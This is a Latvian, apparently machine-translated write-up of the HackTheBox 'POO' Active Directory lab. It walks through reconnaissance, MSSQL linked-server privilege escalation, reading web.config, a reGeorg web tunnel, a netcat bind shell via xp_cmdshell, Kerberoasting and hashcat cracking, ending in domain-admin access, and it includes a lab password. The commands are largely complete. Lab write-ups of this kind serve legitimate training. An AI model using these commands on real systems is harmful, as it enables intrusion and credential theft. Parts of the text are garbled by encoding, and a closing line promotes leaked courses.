HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Å ajā rakstā mēs analizēsim ne tikai maŔīnas, bet arÄ« visas mini laboratorijas pāreju no vietas HackTheBox.

Kā norādÄ«ts aprakstā, POO ir paredzēts, lai pārbaudÄ«tu prasmes visos uzbrukumu posmos nelielā Active Directory vidē. MērÄ·is ir apdraudēt pieejamu saimniekdatoru, palielināt privilēģijas un galu galā apdraudēt visu domēnu, vienlaikus savācot 5 karodziņus.

Savienojums ar laboratoriju notiek caur VPN. Ieteicams nepieslēgties no darba datora vai resursdatora, kurā ir jums svarÄ«gi dati, jo jÅ«s nonākat privātā tÄ«klā ar cilvēkiem, kuri kaut ko zina informācijas droŔības jomā :)

organizatoriskā informācija
Lai jÅ«s varētu uzzināt par jauniem rakstiem, programmatÅ«ru un citu informāciju, es izveidoju Telegrammas kanāls Šø grupa, lai apspriestu visus jautājumus IIKB apgabalā. ArÄ« jÅ«su personÄ«gie lÅ«gumi, jautājumi, ieteikumi un ieteikumi Es paskatÄ«Å”os un atbildÄ“Å”u visiem..

Visa informācija tiek sniegta tikai izglÄ«tojoÅ”iem nolÅ«kiem. Å Ä« dokumenta autors neuzņemas atbildÄ«bu par jebkādiem zaudējumiem, kas kādam nodarÄ«ti, izmantojot zināŔanas un metodes, kas iegÅ«tas Ŕī dokumenta izpētē.

Intro

Å Ä« beigu spēle sastāv no divām maŔīnām, un tajā ir 5 karodziņi.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tiek sniegts arī pieejamā resursdatora apraksts un adrese.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Sāksim!

IzlūkoŔanas karogs

Šīs maŔīnas IP adrese ir 10.13.38.11, kuru es pievienoju /etc/hosts.
10.13.38.11 poo.htb

Pirmais solis ir skenēt atvērtos portus. Tā kā visu portu skenÄ“Å”ana ar nmap aizņem ilgu laiku, vispirms to darÄ«Å”u ar masscan. Mēs skenējam visus TCP un UDP portus no tun0 saskarnes ar ātrumu 500 pps.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tagad, lai iegÅ«tu detalizētāku informāciju par pakalpojumiem, kas darbojas portos, veiksim skenÄ“Å”anu ar opciju -A.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tātad mums ir IIS un MSSQL pakalpojumi. Šajā gadījumā mēs uzzināsim īsto domēna un datora DNS nosaukumu. Tīmekļa serverī mūs sagaida IIS mājas lapa.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Ejam cauri direktorijiem. Å im nolÅ«kam izmantoju gobuster. Parametros norādām pavedienu skaitu 128 (-t), URL (-u), vārdnÄ«cu (-w) un mÅ«s interesējoÅ”os paplaÅ”inājumus (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tas mums nodroÅ”ina HTTP autentifikāciju direktorijam /admin, kā arÄ« pieejamu darbvirsmas pakalpojuma .DS_Store failu. .DS_Store ir faili, kas saglabā mapes pielāgotos iestatÄ«jumus, piemēram, failu sarakstu, ikonu atraÅ”anās vietas un atlasÄ«to fona attēlu. Šāds fails var nonākt tÄ«mekļa izstrādātāju tÄ«mekļa servera direktorijā. Tādā veidā mēs iegÅ«stam informāciju par direktorija saturu. Å im nolÅ«kam jÅ«s varat izmantot DS_Veikala rāpuļprogramma.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Mēs iegÅ«stam direktorijas saturu. Visinteresantākais Å”eit ir /dev direktorijs, no kura varam apskatÄ«t avotus un db failus divās atzarās. Taču mēs varam izmantot pirmās 6 failu un direktoriju nosaukumu rakstzÄ«mes, ja pakalpojums ir neaizsargāts pret IIS ShortName. Varat pārbaudÄ«t Å”o ievainojamÄ«bu, izmantojot IIS saÄ«sinātā nosaukuma skeneris.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un mēs atrodam vienu teksta failu, kas sākas ar ā€œpoo_coā€. Nezinot, ko darÄ«t tālāk, es vienkārÅ”i atlasÄ«ju no direktoriju vārdnÄ«cas visus vārdus, kas sākas ar ā€œcoā€.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Un mēs to atrisināsim, izmantojot wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un mēs atrodam Ä«sto vārdu! Apskatām Å”o failu, saglabājam akreditācijas datus (spriežot pēc DBNAME parametra, tie ir no MSSQL).

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Mēs nododam karogu un dodam 20% uz priekÅ”u.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Huh karogs

Mēs pieslēdzamies MSSQL, es izmantoju DBeaver.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Šajā datu bāzē neko interesantu neatradām, izveidosim SQL redaktoru un pārbaudīsim, kādi lietotāji tur ir.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Mums ir divi lietotāji. Pārbaudīsim savas privilēģijas.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tādējādi nav nekādu privilēģiju. ApskatÄ«sim saistÄ«tos serverus, es detalizēti rakstÄ«ju par Å”o tehniku Å”eit.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tātad mēs atrodam citu SQL serveri. PārbaudÄ«sim komandu izpildi Å”ajā serverÄ«, izmantojot openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un mēs pat varam izveidot vaicājumu koku.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Fakts ir tāds, ka, kad mēs iesniedzam pieprasījumu saistītam serverim, pieprasījums tiek izpildīts cita lietotāja kontekstā! Apskatīsim, kādā lietotāja kontekstā mēs darbojamies saistītajā serverī.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tagad redzēsim, kādā kontekstā pieprasījums tiek veikts no saistītā servera uz mūsu serveri!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tādējādi tas ir DBO konteksts, kuram ir jābūt visām privilēģijām. Pārbaudīsim privilēģijas, ja tiek saņemts pieprasījums no saistīta servera.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Kā redzat, mums ir visas privilēģijas! Izveidosim savu administratoru Ŕādi. Bet viņi to neatļauj, izmantojot openquery, darÄ«sim to, izmantojot EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Un tagad mēs izveidojam savienojumu ar jaunā lietotāja akreditācijas datiem, mēs novērojam jauno karogu datu bāzi.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Nododam Ŕo karogu un dodamies tālāk.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

BackTrack karogs

Iegūstam čaulu, izmantojot MSSQL, es izmantoju mssqlclient no impacket pakotnes.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Mums ir jāiegÅ«st paroles, un pirmā lieta, ko mēs jau esam saskāruÅ”ies, ir vietne. Tādējādi mums ir nepiecieÅ”ama tÄ«mekļa servera konfigurācija (nav iespējams atstāt ērtu apvalku, acÄ«mredzot ugunsmÅ«ris darbojas).

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Bet piekļuve ir liegta. Lai gan mēs varam nolasÄ«t failu no MSSQL, mums vienkārÅ”i jāzina, kuras programmÄ“Å”anas valodas ir konfigurētas. Un MSSQL direktorijā mēs uzzinām, ka ir Python.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tad nav nekādu problēmu lasīt web.config failu.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Ar atrastajiem akreditācijas datiem dodieties uz /admin un paņemiet karogu.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Pēdas karogs

PatiesÄ«bā ugunsmÅ«ra lietoÅ”ana rada zināmas neērtÄ«bas, taču, apskatot tÄ«kla iestatÄ«jumus, pamanām, ka tiek izmantots arÄ« IPv6!

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Pievienosim Ŕo adresi /etc/hosts.
dead:babe::1001 poo6.htb
Skenēsim resursdatoru vēlreiz, bet izmantojot IPv6 protokolu.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un WinRM pakalpojums ir pieejams, izmantojot IPv6. Sazināsimies ar atrastajiem akreditācijas datiem.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Uz darbvirsmas ir karogs, mēs to nododam.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

P00ned karogs

Pēc iepazÄ«Å”anās veikÅ”anas uz saimnieka, izmantojot vējzirņi Neko Ä«paÅ”u neatrodam. Tad tika nolemts vēlreiz meklēt akreditācijas datus (es arÄ« rakstÄ«ju par Å”o tēmu raksts). Bet es nevarēju iegÅ«t visus SPN no sistēmas, izmantojot WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Palaidīsim komandu, izmantojot MSSQL.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Izmantojot Å”o metodi, mēs iegÅ«stam lietotāju SPN p00_hr un p00_adm, kas nozÄ«mē, ka viņi ir neaizsargāti pret tādu uzbrukumu kā Kerberoasting. ÄŖsāk sakot, mēs varam iegÅ«t viņu paroļu jaucējus.

Vispirms jums ir jāiegÅ«st stabils apvalks MSSQL lietotāja vārdā. Bet, tā kā mums ir ierobežota piekļuve, mums ir savienojums ar resursdatoru tikai caur portiem 80 un 1433. Bet ir iespējams tunelēt satiksmi caur 80. ostu! Å im nolÅ«kam mēs izmantojam Ŕādu pieteikumu. AugÅ”upielādēsim failu tunnel.aspx tÄ«mekļa servera mājas direktorijā - C:inetpubwwwroot.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Bet, mēģinot tai piekļūt, tiek parādÄ«ta kļūda 404. Tas nozÄ«mē, ka *.aspx faili netiek izpildÄ«ti. Lai faili ar Å”iem paplaÅ”inājumiem tiktu izpildÄ«ti, instalējiet ASP.NET 4.5 Ŕādi.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un tagad, piekļūstot tunnel.aspx, mēs saņemam atbildi, ka viss ir gatavs darbam.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Palaidīsim lietojumprogrammas klienta daļu, kas pārraidīs trafiku. Mēs pārsūtīsim visu trafiku no porta 5432 uz serveri.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un mēs izmantojam starpniekserveri, lai nosÅ«tÄ«tu jebkuras lietojumprogrammas trafiku, izmantojot mÅ«su starpniekserveri. Pievienosim Å”o starpniekserveri konfigurācijas failam /etc/proxychains.conf.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tagad augÅ”upielādēsim programmu serverÄ« netcat, ar kuru mēs izveidosim stabilu saistÄ«Å”anas apvalku un skriptu Invoke-Kerberoast, ar kuru veiksim Kerberoasting uzbrukumu.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tagad mēs palaižam klausītāju, izmantojot MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un mēs izveidojam savienojumu, izmantojot starpniekserveri.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un pieņemsim jaucējvārdus.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tālāk jums ir jāatkārto Ŕīs jaucējzÄ«mes. Tā kā rockyou vārdnÄ«cā Ŕīs paroles nebija, es izmantoju VISAS Seclists piedāvātās paroļu vārdnÄ«cas. MeklÄ“Å”anai mēs izmantojam hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Un mēs atrodam abas paroles, pirmo vārdnīcā dutch_passwordlist.txt un otro Keyboard-Combinations.txt.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un tā mums ir trīs lietotāji, ejam uz domēna kontrolleri. Vispirms noskaidrojam viņa adresi.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Lieliski, mēs uzzinājām domēna kontrollera IP adresi. Noskaidrosim visus domēna lietotājus, kā arÄ« to, kurÅ” no viņiem ir administrators. Lai lejupielādētu skriptu, lai iegÅ«tu informāciju PowerView.ps1. Pēc tam mēs izveidosim savienojumu, izmantojot evil-winrm, parametrā -s norādot direktoriju ar skriptu. Un tad mēs vienkārÅ”i ielādēsim PowerView skriptu.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tagad mums ir piekļuve visām tā funkcijām. Lietotājs p00_adm izskatās kā priviliģēts lietotājs, tāpēc mēs strādāsim viņa kontekstā. Izveidosim Å”im lietotājam PSCredential objektu.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Tagad visas Powershell komandas, kurās mēs norādām Creds, tiks izpildītas kā p00_adm. Parādīsim lietotāju sarakstu un atribūtu AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Un tāpēc mÅ«su lietotājs ir patieŔām priviliģēts. PaskatÄ«simies, kurās grupās viņŔ ir.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Visbeidzot mēs apstiprinām, ka lietotājs ir domēna administrators. Tas dod tai tiesības attālināti pieteikties domēna kontrollerī. Mēģināsim pieteikties ar WinRM, izmantojot mūsu tuneli. Mani mulsināja reGeorg izdotās kļūdas, lietojot evil-winrm.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tad mēs izmantojam citu, vieglāku, skripts lai izveidotu savienojumu ar WinRM. Atvērsim un mainīsim savienojuma parametrus.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Mēģinām izveidot savienojumu, un esam sistēmā.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Bet karoga nav. Pēc tam skatieties uz lietotāju un pārbaudiet galddatorus.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Atrodam karogu pie mr3ks un laboratorija ir 100% pabeigta.

HackTheBoxendgame. Laboratorijas Profesionālo uzbrukuma operāciju pāreja. Pentest Active Directory

Tas ir viss. Kā atsauksmes, lÅ«dzu, komentējiet, vai no Ŕī raksta uzzinājāt ko jaunu un vai tas jums bija noderÄ«gs.

JÅ«s varat mums pievienoties plkst Telegram. Tur var atrast interesantus materiālus, noplÅ«duÅ”os kursus, kā arÄ« programmatÅ«ru. Pulcināsim kopienu, kurā bÅ«s cilvēki, kas saprot daudzas IT jomas, tad vienmēr varam palÄ«dzēt viens otram jebkuros IT un informācijas droŔības jautājumos.

Avots: www.habr.com

Pievieno komentāru